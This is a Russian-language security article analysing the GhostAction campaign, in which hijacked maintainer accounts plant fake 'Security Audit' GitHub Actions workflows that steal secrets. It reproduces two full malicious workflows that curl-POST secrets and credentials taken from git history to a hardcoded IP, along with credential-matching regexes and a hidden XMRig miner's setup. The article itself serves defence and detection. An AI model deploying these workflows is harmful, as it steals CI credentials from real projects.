Логотип ШифрыШифры
ГлавнаяЖурналЛотыУзел ИИВойти
ГлавнаяЖурналЛотыУзел ИИ
Войти
Логотип ШифрыШифры2К26Версияъ1
EmailMAX
Назад к логу

Фейковая проверка безопасности в GitHub Actions выгребает креды из десятков тысяч репозиториев

24 октября 2026 г.
#атаки#код#хакеры

8 октября 2026 года в репозиторий uber/athenadriver прилетел коммит e3c0dfa с сообщением «Add security audit workflow». Автор и коммиттер – Henry <wufuheng@gmail.com>, это настоящий аккаунт henrywoo, оригинальный разработчик драйвера, за которым с тех пор осталось право записи в репозиторий Uber. Коммит лёг прямо в master: ни pull request, ни ревью, ничего, что заставило бы хоть одного человека в Uber взглянуть на содержимое. В журнале аудита – безупречная строка: доверенный человек добавил себе workflow для проверки безопасности.

Workflow не проверяет ничего. Файл .github/workflows/security-audit.yml при следующем же пуше собирает все секреты репозитория, выгребает из рабочего дерева и всей истории git облачные ключи и отправляет улов открытым текстом по HTTP на захардкоженный адрес. Коммит пришёл не от Henry – его аккаунт угнали. И athenadriver здесь не цель, а один из 318 репозиториев, которые этот аккаунт обработал за 16 минут. Параллельно работал второй угнанный аккаунт. По данным Socket и GitGuardian, тот же поддельный «аудит» за несколько дней расползся по десяткам тысяч репозиториев силами сотен угнанных аккаунтов. Это GhostAction, и он вернулся злее, чем год назад.

Год, который кампания не прекращала

Имя GhostAction придумал GitGuardian в сентябре 2025-го, когда разобрал первую волну: 817 публичных репозиториев, 327 разработчиков, не меньше 3 325 украденных секретов. Техника была простой до неприличия и ровно поэтому живучей – никакого малварного пакета, никакого эксплойта, только чужой CI/CD, которому скормили лишний workflow. Тот же приём позже всплыл в кампаниях Shai-Hulud и до сих пор лежит в основе семейства Mini Shai-Hulud, так что родословная у метода уважаемая.

Называть октябрьскую вспышку «возвращением» некорректно – кампания не останавливалась ни на месяц, просто меняла адрес, куда сливать. GitGuardian проследил переезды C2 по шаблону workflow через свою историческую выборку: осенью 2025-го улов шёл на bold-dhawan.45-139-104-115.plesk.page, carte-avantage.com и соседние домены, резолвившиеся в 45.139.104.115 (порядка 900 репозиториев); с октября по декабрь 2025-го и в марте 2026-го – на 170.39.218.2 (около 75); в ноябре 2025-го, марте и апреле 2026-го оператор гонял данные через Interactsh-домены *.oast.fun (около 250). К августу 2026-го точкой сбора стал голый 193.32.204.199 – тот самый адрес, что держит всю нынешнюю волну.

Летне-осенняя волна 2026-го, которую GitGuardian разобрал отдельно, началась около 14:00 GMT 31 августа и к концу сентября накрыла 772 публичных репозитория у 373 владельцев, нацелившись на 2 577 секретов. Инъекции шли всплесками: 143 репозитория 31 августа, около 400 за 2–5 сентября с пиком 294 за одни сутки, ещё 103 – 15 сентября. В 92 случаях атакующий не добавлял новый файл, а правил уже лежавший в репозитории workflow коммитом «Update Github Actions Security workflow»: это были инъекции прошлых волн, которые жертвы так и не вычистили, – оператору осталось переписать в них адрес C2.

Состав этих 2 577 секретов сам по себе – карта того, за чем кампания охотится в первую очередь. С огромным отрывом лидируют SSH-ключи и деплой-креды, дающие прямой вход на серверы; следом – облачные аккаунты Azure и AWS, реестры образов DockerHub и GHCR, базы данных и FTP. GitHub-токены, которыми, собственно, и зашли, стоят лишь восьмыми: аккаунт для инъекции оператору уже не нужно красть повторно.

Горизонтальная столбчатая диаграмма числа нацеленных секретов по категориям: SSH-ключи и деплой-креды 446, Azure 218, реестры образов DockerHub и GHCR 142, базы данных 112, AWS 106, FTP 92, Google Cloud и Firebase 80, токены GitHub 66
Топ-8 категорий секретов, на которые нацелены инъекции волны август–сентябрь 2026

Как угоняют руки мейнтейнера

Цепочка одинакова с 2025 года и держится на четырёх шагах. Первый – компрометация аккаунта: оператор добывает рабочий доступ к учётке мейнтейнера, вероятнее всего утёкший personal access token из логов инфостилеров или кредовых дампов, что циркулируют между множеством акторов. Как именно – ни одна из трёх лабораторий не наблюдала; это честный пробел в разборе, и о нём ниже ещё пойдёт речь, потому что именно он определяет, что чинить жертве.

Второй шаг – разведка. Существующие workflow-файлы репозитория сканируются на ссылки вида ${{ secrets.NAME }}, и найденные имена секретов подставляются в пейлоад ещё до коммита. Это важная деталь: атакующий не выгружает весь environment вслепую, он заранее знает точные имена, под которыми в этом конкретном репозитории лежат ценные ключи. Третий шаг – инъекция workflow прямо в default branch под личностью жертвы. Четвёртый – эксфильтрация: workflow POST-ит значения секретов на сервер оператора. Запускается всё само: GitHub Actions триггерит workflow на следующем же пуше, включая тот самый коммит инъекции.

Масштаб и единообразие волны выдают инструмент, а не ручную работу. Socket зафиксировал, что 346 репозиториев прошли через два аккаунта в двух коротких окнах, и каждый файл был байт-в-байт одинаков, кроме отрендеренного списка секретов. Это ровно то, что бывает, когда имена вытаскиваются из чужих workflow и подставляются в шаблон одним генератором, который собирает и весь остальной пейлоад.

Схема цепочки: угнанный аккаунт мейнтейнера, рекон репозитория, инъекция security-audit.yml в default branch, запуск workflow с тупиком approval gate, в раннере два параллельных сбора — именованные секреты и вся история git, оба уходят одним POST на C2-приёмник 193.32.204.199 по plain HTTP
Путь поддельного workflow: от угона аккаунта до единого POST на захардкоженный IP

Коммит под чужим именем прямо в master

На инъекции оператор принял первое заметное решение, и оно двойственное. Коммит идёт под настоящим именем, email и GitHub-аккаунтом мейнтейнера – в audit log не за что зацепиться, пока не раскроешь сам файл. Уровень доступа henrywoo протащил атаку в кодовую базу из списка Fortune 500: право записи в репозиторий Uber досталось ему как оригинальному автору, и инъекция обошла Uber целиком. По нашей оценке это сильный ход по охвату и дешёвый по исполнению – один статический файл, разложенный скриптом по всем репозиториям, куда дотягивается украденный токен.

Но за охват заплачено наблюдаемостью, и счёт короткий. Коммит не подписан, сообщение шаблонное, и такие же unsigned-коммиты с одним и тем же именем файла прилетают пачками в десятки репозиториев за минуты – это единственная аномалия, которую оператор оставил, зато она накрывает всю кампанию одним запросом в поиске по коду GitHub. Альтернатива тише: протащить изменение через pull request с подконтрольным ревьюером или ботом, либо вообще не добавлять новый файл, а дописать строку в уже доверенный pipeline – ровно то, что оператор и делал в 92 «Update»-кейсах, где правка существующего workflow не поднимает флаг «новый workflow в репозитории» вовсе. Прямой коммит в master выиграл в скорости развёртывания и проиграл в скрытности; для кампании, которую всё равно вычислят по телу файла, обмен разумный, но не бесплатный.

Наследие 2025-го: кража именованных секретов

Репозитории, заражённые в ранних волнах, несут исходную форму пейлоада – задание send-secrets с шагом-обманкой «Prepare Cache Busting», который просто подмешивает метку времени в окружение, чтобы коммит выглядел осмысленно. Дальше один curl, POST-ящий именованные секреты url-кодированным телом:

name: Github Actions Security
on:
  workflow_dispatch:
  push:
jobs:
  send-secrets:
    runs-on: ubuntu-latest
    steps:
      - name: Prepare Cache Busting
        run: echo "CACHE_BUST=$(date +%s)" >> $GITHUB_ENV
      - name: Github Actions Security
        run: |
          curl -s -X POST -d 'VPS_HOST=${{ secrets.VPS_HOST }}&VPS_SSH_KEY=${{ secrets.VPS_SSH_KEY }}&VPS_USER=${{ secrets.VPS_USER }}' http://193.32.204.199

Шаблонные имена – прямая улика предварительного рекона. В репозитории typecho-fans/plugins, заражённом 5 сентября 2026-го под угнанным аккаунтом xxyangyoulin (коммит c604ac42), атакующий подставил в тело API_MIRROR, GITEE_TOKEN и SYNC_PV – ровно те секреты, что реально использовались. GITEE_TOKEN здесь особенно показателен: им репозиторий зеркалится на Gitee, и его кража открыла бы путь протолкнуть отравленный код в зеркало, дотянувшись до второй экосистемы. Эта форма пейлоада, задокументированная ещё в 2025-м, живёт без изменений год спустя и просто нацелена на свежий C2.

fetch-depth: 0 и вся история разом

Октябрьская волна принесла заметно более зубастый пейлоад под именем «Security Audit». Полная версия, снятая Socket из kitao/pyxel на коммите 97670a55, несёт обе методики сбора в боевом виде – это самый чистый снимок текущих возможностей кампании:

name: Security Audit
on:
  workflow_dispatch:
  push:                    # без фильтра веток и путей
jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0   # забрать все ветки и теги
      - name: Audit
        run: |
          out="REPO=$GITHUB_REPOSITORY"
          # унаследовано: кража именованных секретов GitHub Actions
          [ -n "CARGO_REGISTRY_TOKEN=${{ secrets.CARGO_REGISTRY_TOKEN }}&PERSONAL_ACCESS_TOKEN=${{ secrets.PERSONAL_ACCESS_TOKEN }}&PYPI_PASSWORD=${{ secrets.PYPI_PASSWORD }}&PYPI_USERNAME=${{ secrets.PYPI_USERNAME }}" ] && out="$out&CARGO_REGISTRY_TOKEN=..."
          # добавлено: сбор закоммиченных кредов
          grepped=$(grep -rEiho "<13 паттернов>" --exclude-dir=.git . 2>/dev/null | sort -u)
          gl=$(git log -p --all 2>/dev/null | head -200000)
          hist=$(echo "$gl" | grep -oiE "<13 паттернов>" | sort -u | head -300)
          ctx=$(grep -rEi -B2 -A2 "AKIA[0-9A-Z]{16}|ASIA[0-9A-Z]{16}" --exclude-dir=.git . 2>/dev/null | head -150)
          hctx=$(echo "$gl" | grep -Ei -B2 -A2 "AKIA[0-9A-Z]{16}|ASIA[0-9A-Z]{16}" | head -150)
          full="$out
          AKIA_CTX_START
          $ctx
          $hctx
          AKIA_CTX_END
          $grepped
          $hist"
          if [ -n "$(echo $full | tr -d ' \n')" ]; then
            curl -s -m 20 -X POST --data-binary "$full" "http://193.32.204.199/?c=monami" || true
          fi

Первый блок – унаследованное поведение Variant A: если рекон нашёл именованные секреты, они подмешиваются в тело. Копия из pyxel говорит сама за себя – атакующий зашаблонил CARGO_REGISTRY_TOKEN, PERSONAL_ACCESS_TOKEN, PYPI_PASSWORD и PYPI_USERNAME. Pyxel – игровой движок на 18 420 звёзд, публикуется разом в PyPI и crates.io, и эти четыре секрета – прямая дорога к выпуску малварной версии библиотеки, которой доверяют десятки тысяч разработчиков. Когда рекон не нашёл ничего, генератор мягко вырождается в пустой шаблон [ -n "" ] – так вышло в athenadriver, pyllama и chatllama. Заодно переключается URL-маркер: репозитории с именованными секретами POST-ят на /?c=monami, пустые – на /?c=new, и оператор сортирует входящее по улову, не вскрывая тело.

Всё, что ниже fetch-depth: 0, – новое, и бьёт по совершенно другому источнику: кредам, которые разработчики закоммитили в репозиторий, в том числе давно удалённым. Дефолтный чекаут тянет один неглубокий слой ветки; глубина ноль забирает каждую ветку и тег, а это даёт git log -p --all полный текст патчей всей истории – включая коммиты, переписанные с default branch, но всё ещё достижимые со старой ветки или тега. Секрет, закоммиченный однажды в 2019-м и удалённый на следующий день, выгребается наравне с действующим.

И здесь оператор принял решение, которое мы оцениваем как сильный апгрейд, а не трюк. Полный чекаут с fetch-depth: 0 – это расход: клонируется вся история, дольше идёт, тяжелее эксфильтрация, в логах Actions виден разросшийся чекаут вместо скромного shallow-клона. Альтернатива очевидна и тише – остаться на Variant A, только именованные секреты: проще, быстрее, незаметнее. Оператор заплатил временем и объёмом трафика, но купил целый класс кредов, который Variant A не видит в принципе, – ротированные и забытые ключи, до которых защитник не доберётся обычной ремедиацией. Цена честная, и она того стоила: как прямо пишет StepSecurity, после этой волны ротации действующих секретов Actions недостаточно, потому что история помнит то, чего в рабочем дереве уже нет.

13 паттернов и как собрать AWS-ключ по частям

Сбор идёт по 13 паттернам, и состав выдаёт приоритеты. Socket разложил их по четырём группам: куда ведёт каждый ключ – важнее, чем как он выглядит.

Группа Что ловят паттерны Что даёт ключ
AWS AKIA/ASIA (ID ключа), secret_access_key, aws_session_token прямой доступ к облачному аккаунту: compute, хранилище, эскалация привилегий
ИИ-провайдеры sk-ant- (Anthropic), sk-proj- (OpenAI), sk-or- (OpenRouter) перепродажа платного инференса и доступ к данным, что текут через ключ
Контроль версий ghp_, github_pat_ (GitHub), glpat- (GitLab) чтение и запись репозиториев, инъекция новых workflow
SaaS и облачные API AIza (Google/Firebase), xox[baprs]- (Slack), SG. (SendGrid) доступ к сервисам: внутренние коммуникации, рассылка с доверенного домена

Сам список паттернов, как он уходит в grep, читается как карта современного кредового ландшафта:

AKIA[0-9A-Z]{16}|ASIA[0-9A-Z]{16}|sk-ant-[A-Za-z0-9_-]{20,}|
sk-proj-[A-Za-z0-9_-]{20,}|sk-or-(?:v1-)?[A-Za-z0-9_-]{30,}|
ghp_[A-Za-z0-9]{36}|github_pat_[A-Za-z0-9_]{60,}|glpat-[A-Za-z0-9_-]{20,}|
AIza[A-Za-z0-9_-]{35}|xox[baprs]-[A-Za-z0-9-]{10,}|
SG\.[A-Za-z0-9_-]{16,}\.[A-Za-z0-9_-]{16,}

Это литеральные префиксы, и, по разбору StepSecurity, они отрабатывают чисто. А паттерны на AWS secret key недоматчивают: в (?:aws_)?secret(?:_access)?_key стоят (?:...)-группы, невалидные в POSIX ERE, и именно они рождают предупреждение grep, которое всплывёт в боевом логе ниже. Ключи ИИ-провайдеров тут впервые стали первоклассной целью наравне с облачными – отражение того, где сегодня лежат деньги и данные. Но самая продуманная часть добавки – два прохода захвата контекста, и ровно они переводят пейлоад из разряда «общий сканер секретов» в разряд инструмента именно под облачные креды. Идентификатор AWS-ключа (AKIA или ASIA) сам по себе не аутентифицирует ничего – нужен парный 40-символьный secret access key, а он на практике лежит в одной-двух строках от ID: в .env, в файле credentials, в переменных Terraform, в блоке CI-конфига. Пейлоад снимает по две строки с каждой стороны от каждого найденного ID – и в рабочем дереве, и в истории – и обрамляет этот кусок маркерами AKIA_CTX_START и AKIA_CTX_END, чтобы коллектор на той стороне распарсил его отдельно от плоского списка совпадений. Вместо осиротевших идентификаторов оператор получает готовые рабочие пары.

Две половины пейлоада различаются операционно. Унаследованная требует рекона и даёт горстку дорогих кредов, что напрямую ведут к публикации пакетов. Добавленная не требует ничего – поэтому один статический файл и разлетелся по 346 репозиториям за два коротких всплеска. Ротация секретов Actions ничего не делает для закоммиченных кредов, а скан рабочего дерева – для секретов Actions; закрывать нужно обе поверхности разом.

c=monami, c=new и шесть меток одной кампании

GitGuardian проследил, как пейлоад мужал версиями. Первая добавила к классике сканирование истории по 11 регэкспам. Вторая принесла захват контекста вокруг AWS-ID и перевела детект в регистронезависимый режим. Третья дотянула контекст и до прохода по истории – ту самую форму, что видна в pyxel.

Версия Что добавила к предыдущей
v1 скан всей истории git по 11 регэкспам кредов
v2 парность AWS-ключей через контекст, регистронезависимый поиск
v3 захват контекста ещё и в проходе по истории

Разложение на версии не ложится один-в-один на метки, которыми оператор помечал партии через HTTP-параметр ?c=, – GitGuardian насчитал шесть таких ярлыков. Развёртывание шло фазами: сначала v1 без метки ушла в 1 713 репозиториев и под меткой bling – ещё в 162; v2 под blingnew – в сотню; затем v3 под monami накрыла 159 репозиториев, а под new – разом 29 431, между 8 и 9 октября. Волны 10 и 12 октября под метками mnsft и security уже не выполнились: с 9 октября GitHub начал блокировать запуск малварного workflow. Эта телеметрия – хороший пример обоюдоострого решения: метка даёт оператору карту улова без вскрытия тел, но она же – бесплатный индикатор, по которому один поисковый запрос "c=monami" метит всю кампанию.

Отдельная мелкая вариация всплыла ещё 7 сентября в семи репозиториях под именем security-check.yml: workflow «Security Check» слал секреты на выделенный бэкенд с уникальным идентификатором каждой инъекции.

http://193.32.204.199:3000/api/workflow/receive?inj=<id>

То есть у оператора появился сервер, отслеживающий, из какой именно инъекции пришёл каждый украденный секрет, – зачаток нормального C2-бэкенда поверх голого HTTP-приёмника на 80-м порту.

Четыре секунды до OK

Запуски можно не домысливать – они в логах GitHub Actions. StepSecurity вытащил лог боевого прогона athenadriver (run 37846728441), стартовавшего через три секунды после коммита инъекции. Чекаут забирает все 13 веток и 20 тегов репозитория, среди них девелоперские ветки henry.wu/* и говорящая s3-bucket-compromised-2023-03, – теперь всё это в зоне охвата истории. Отрабатывают три grep-а, и дальше:

2026-10-08T21:26:04.5581406Z grep: warning: ? at start of expression
2026-10-08T21:26:04.5582006Z OK

OK workflow не печатает – сам скрипт молчит. Это тело HTTP-ответа C2-сервера, выведенное в лог ключом curl -s. POST на 193.32.204.199/?c=new доставлен и подтверждён в 21:26:04Z – через четыре секунды после старта прогона. Эксфильтрация удалась, и сервер расписался в получении.

Тот же лог выдаёт два операционных нюанса. Первый – ошибка в тулинге оператора. Строки grep: warning: ? at start of expression рождаются оттого, что в паттернах AWS secret key использованы non-capturing группы (?:...), а они невалидны в POSIX ERE, по которой работает grep -E. Итог: именно этот паттерн недоматчивает, standalone secret key вне контекста проходит мимо. По нашей оценке это хрупкое место, прикрытое другим узлом дизайна: спасает только тот самый ±2-строчный захват вокруг AKIA, потому что secret key почти всегда лежит рядом с ID. Исправить дёшево – grep -oP с движком PCRE понял бы (?:...) без правок, – но оператор на боевом пейлоаде собственный регэксп не прогнал, и дыру закрыла не отладка, а удачная геометрия того, как люди хранят AWS-креды. Второй нюанс: GITHUB_TOKEN прогона был ограничен до contents: read, то есть сам workflow не мог ни запушить, ни опубликовать. Эскалация целиком висит на украденных секретах – ровно поэтому публикационные токены pyxel и значат так много.

Оператор вернулся и нажал кнопку руками

Pyxel показывает, что за автоматикой сидел живой человек. Малварный workflow там отработал пять раз, все – с успехом: трижды его триггернули пуши самого атакующего и дважды – ручной workflow_dispatch в 13:36:32Z и 13:42:35Z, выданный из скомпрометированной сессии kitao сразу после каждого обновления файла. Это уже не слепой проход скрипта, а hands-on-keyboard: оператор перезапускал эксфильтрацию, чтобы проверить или повторить сбор.

А typecho-fans/plugins показывает, как всё это ломается об один переключатель. 7 октября угнанный xxyangyoulin отправил туда пустой коммит e84c040 «Update Github Actions Security workflow» (ноль изменений файлов), а через две секунды – трёхстрочную правку README «Trigger security scan». Оба существуют лишь чтобы перезапустить workflow. Оба прогона застряли в статусе action_required, потому что этот репозиторий требует одобрения запусков, – и эксфильтрация не выполнилась. Одна настройка разорвала killchain. Это не частность: на всей летней волне GitGuardian из 3 669 прогонов по 605 репозиториям выполнились лишь 499 в 32 репозиториях, успешно завершились 336 и вынесли 26 секретов из 13 репозиториев. Approval gate – единственный контроль, который на этой неделе наблюдали останавливающим кампанию.

Голый IP вместо домена – расчёт, а не лень

Эксфильтрация идёт открытым HTTP на 193.32.204.199, по портам 80 и 3000. Соблазнительно списать это на примитивность, но за выбором стоит инженерный расчёт, и его стоит разобрать по обе стороны. Плюс настоящий: обращение к голому IP не порождает ни одного DNS-запроса, а значит, доменные блок-листы, DNS-фильтры и системы репутации доменов слепы по построению – им нечего инспектировать. Оператор осознанно вынес канал за пределы целого класса защит.

Цена, однако, зеркальная, и мы оцениваем обмен как проигрышный против доступной альтернативы. Один IP – одна точка отказа: единственный блок на egress убивает всю кампанию разом, и StepSecurity уже добавил адрес в глобальный блок-лист Harden-Runner. Plain HTTP означает, что тело POST-а – со всеми секретами в открытом виде – читает любой промежуточный прокси, любой сетевой сенсор на пути. Альтернатива – HTTPS на ротируемые домены за CDN – дороже в поддержке и сама уязвима доменным блокировкам, но не падает от одного заблокированного адреса и не светит улов в транзите. Оператор выменял устойчивость инфраструктуры на обход доменных контролей; против рантайм-мониторинга egress вроде того же Harden-Runner, который коррелирует исходящее с конкретным workflow и шагом, голый IP не прячет ничего – он как раз и есть идеальный индикатор.

Десятки тысяч, из которых разобрана горстка

Цифры по волне надо читать аккуратно – их сняли с разных членов множества. Глубоко проанализированное ядро, по которому есть форензика, – это два аккаунта и 346 репозиториев: 27 под kitao в окне 13:20–13:44Z и 318 под henrywoo (39 исходных + 279 форков) в окне 21:10–21:26Z, плюс athenadriver. Поиск по коду GitHub на 9 октября по "193.32.204.199" path:.github/workflows возвращал 378 репозиториев с живым малварным workflow на default branch; маркер истории AKIA_CTX_START стоял в 182 из них, метка ?c=monami – в 88. И это только default-ветки: поиск по коду не индексирует форки, так что 279 заражённых форков henrywoo сидят сверх этой цифры.

Но вся кампания на порядки крупнее разобранного ядра. Socket в апдейте от 9 октября насчитал более 500 аккаунтов, разложивших workflow по десяткам тысяч репозиториев с 7 октября. GitGuardian к 13 октября свёл датасет к более чем 30 000 репозиториев у 3 000 пользователей и организаций, скомпрометировав около 1 900 аккаунтов и попытавшись вынуть 3 174 секрета из публичных CI. Та самая метка ?c=new в версии v3 ушла в 29 431 репозиторий за одни сутки – вот где спрятаны «десятки тысяч». Уборка отстаёт катастрофически: к 5 октября в публичной истории прослеживалась чистка лишь 124 репозиториев, то есть 16 % поражённых летней волны.

Среди живых жертв – не только заголовочные pyxel и athenadriver, но и henrywoo/pyllama (2 800 звёзд), henrywoo/chatllama (1 200), howie6879/liuli, monkeyx-net/PortMaster-Build-Templates и особо неприятный RSOLV-dev/rsolv-action – исходный репозиторий опубликованного GitHub Action, где отравленный релиз распространился бы на каждый workflow, что на этот Action ссылается. Малварных релизов из украденных публикационных кредов пока не вышло: последний релиз pyxel – v2.9.9 от 12 августа 2026-го, до компрометации, последняя публикация в crates.io датируется 2019-м, у athenadriver последний релиз v1.1.15 марта 2024-го. Окно на этих токенах открыто ровно до их ротации. В 2025-м мы видели ту же картину – собранные публикационные креды и ни одного малварного релиза за наблюдаемое окно; отсутствие злоупотребления не доказывает, что креды в безопасности. Это та же развилка, что и в истории с отозванными версиями крейта arrayref, где украденный контроль над публикацией превратил доверенный пакет в канал доставки бэкдора, – с pyxel у оператора на руках ключ к тому же сценарию сразу в двух реестрах.

Майнер, который приехал на тех же кредах, но не от того же оператора

Самый неожиданный поворот GitGuardian нашёл, разгребая поражённые репозитории. В kuafuai/DevOpsGPT – популярный проект на 6 000 звёзд – 30 августа 2026-го в 00:30 UTC, за полтора суток до первого дропа GhostAction этой волны, прилетел коммит с безобидным сообщением fix(subtask) 修改OpenAI版本 («обновить версию OpenAI»). За сообщением пряталась правка четырёх файлов, вшивавшая в Docker-образ проекта майнер XMRig. Dockerfile декодировал base64-URL закачки XMRig 6.21.0, срезал символы, паковал UPX и ставил бинарь как /usr/local/bin/pyworker. Конфигурация майнинга лежала XOR-шифрованной в переменной SERVICE_CONFIG с ключом devops2024. Скрипт run.sh обзаводился функцией start_service, которая копировала бинарь в скрытый файл /tmp/.<hash> и запускала его вместе с приложением, а планировщик приложения получал фальшивую задачу health_check, каждые 45 секунд перезапускавшую майнер, если тот упал; состояние велось в /var/run/devops.pid и /var/log/devops.log. Декодированный конфиг указывал на пул pool.supportxmr.com:3333 и Monero-кошелёк:

832eKef1fNRTQdiJeJzsvkMMsogMp22FR2FLX1oaV5BxGfoMcJvkcbFgWgNRyNfsE19D9pdM1zdU7D9kRLdJbM5rU1vjfcL

Образ с майнером уехал в Docker Hub. А 15 сентября с того же аккаунта в четыре репозитория организации, включая DevOpsGPT, прилетел уже GhostAction-workflow – красть DockerHub-креды. Майнтейнеры снесли workflow 18 сентября, а коммит с майнером откатили 4 октября.

Так один ли это оператор? GitGuardian не убеждён, и аргументы весомые. GhostAction-workflow создавались через GitHub API под обычной личностью аккаунта; коммит с майнером пушнули с подделанным author-email, ранее с этим разработчиком не связанным. Пейлоад GhostAction типовой и автоматизированный; майнер скроен под конкретный проект с индивидуальной маскировкой. Ни в одном другом репозитории этот майнер, его конфиг и кошелёк не всплыли, тогда как GhostAction за часы бьёт по сотням. Самое трезвое объяснение – украденные GitHub-креды не принадлежат одному актору. Перекрёстная проверка жертв GhostAction дала 13 репозиториев, которые засветились ещё и в майнинге через GitHub Actions, и эта активность разложилась минимум на четыре разные кампании с разными кошельками, пулами и инфраструктурой; одна из них даже копировала нейминг GhostAction коммитами chore(ci): GitHub Security Actions. Утёкший токен, дамп, лог инфостилера торгуются и переиспользуются многими, и один скомпрометированный аккаунт отрабатывают несколько независимых рук.

Для жертвы это меняет порядок ремедиации. Ротировать секреты, вынесенные малварным workflow, недостаточно – надо найти и отозвать сам GitHub-кред, что впустил инъекцию, иначе в дверь войдёт следующий.

Как найти это у себя одним запросом

Приятная сторона того, что кампания метит себя телеметрией и захардкоженными маркерами, – искать её тривиально. StepSecurity свёл поиск к трём запросам в поиске по коду GitHub (вкладка Code, залогиненным); нулевой результат – хороший знак, любое попадание – заражённый репозиторий или форк, тянущий workflow:

"AKIA_CTX_START" path:.github/workflows
"c=monami"
"193.32.204.199" path:.github/workflows

Для своей организации те же маркеры сужаются до её индекса:

org:your-org "AKIA_CTX_START"
org:your-org "c=monami"
org:your-org "193.32.204.199"

В журнале аудита сигнатуры другие, но столь же чёткие: коммиты, добавляющие workflow-файлы прямо в default branch в обход pull request; события workflow_dispatch на свежесозданных «audit»-workflow; и россыпь unsigned-коммитов по множеству репозиториев в пределах минут. Имена файлов на кампанию – security-audit.yml, github_actions_security.yml и security-check.yml; если любой из них появлялся в вашем репозитории с 31 августа 2026-го, StepSecurity предлагает считать это подтверждённым пробоем: каждый настроенный секрет Actions и каждый кред, лежащий где-либо в истории git, был предложен атакующему, а workflow биконит на каждом запуске, даже когда не находит ничего.

Что это была за операция и что теперь считать скомпрометированным

Сложив решения оператора вместе, получаем точный портрет калибра. Это не вылазка с 0-day и не тихая цепочка – это индустриальный сбор урожая с чужих утечек: инструментом, что разлетается по десяткам тысяч репозиториев, через давно утёкшие креды, с голым HTTP вместо инфраструктуры. Сильные ходы реальны – fetch-depth: 0 с проходом по всей истории берёт класс секретов, который никто не ротирует, а парность AWS-ключей через контекст превращает мусорные ID в рабочие пары. Слабые столь же реальны: непрогнанный регэксп с невалидными (?:...), один IP как единая точка отказа, открытый текст в теле и телеметрия-метка, которой кампания сама себя индексирует для любого, кто догадался искать. Это грамотный конвейерный сборщик, а не виртуоз, и ломается он об одну настройку – approval gate на запуск workflow.

Сдвинулись и ориентиры защиты. Ротация настроенных секретов Actions, ядро рекомендаций 2025 года, больше не покрывает экспозицию: раз проход по истории дотягивается до давно удалённых кредов, любой секрет, когда-либо попадавший в репозиторий на любой ветке – AWS, ключи ИИ-провайдеров, токены GitHub и GitLab, Slack, SendGrid, Google и Firebase, – надо считать скомпрометированным и ротировать, а не удалять из текущего дерева. Параллельно – найти и отозвать сам угнанный GitHub-кред, снести workflow со всех веток (он триггерится на пуш в любую), проверить форки перед включением в них Actions и не резать релизы, пока не вычищено, если публикационные секреты были настроены. И самое дешёвое, что реально работает: требовать одобрения запусков workflow. На этой неделе именно оно, а не хитрая эвристика, оставило атакующего с пустыми руками.

Разбор октябрьской волны, пейлоадов и форензику run-логов опубликовал StepSecurity; историю кампании, эволюцию версий, таблицу меток и майнер в DevOpsGPT – GitGuardian; разбор двух угнанных аккаунтов, 13 паттернов и масштаб – Socket.

Автор: hacker@shifry.local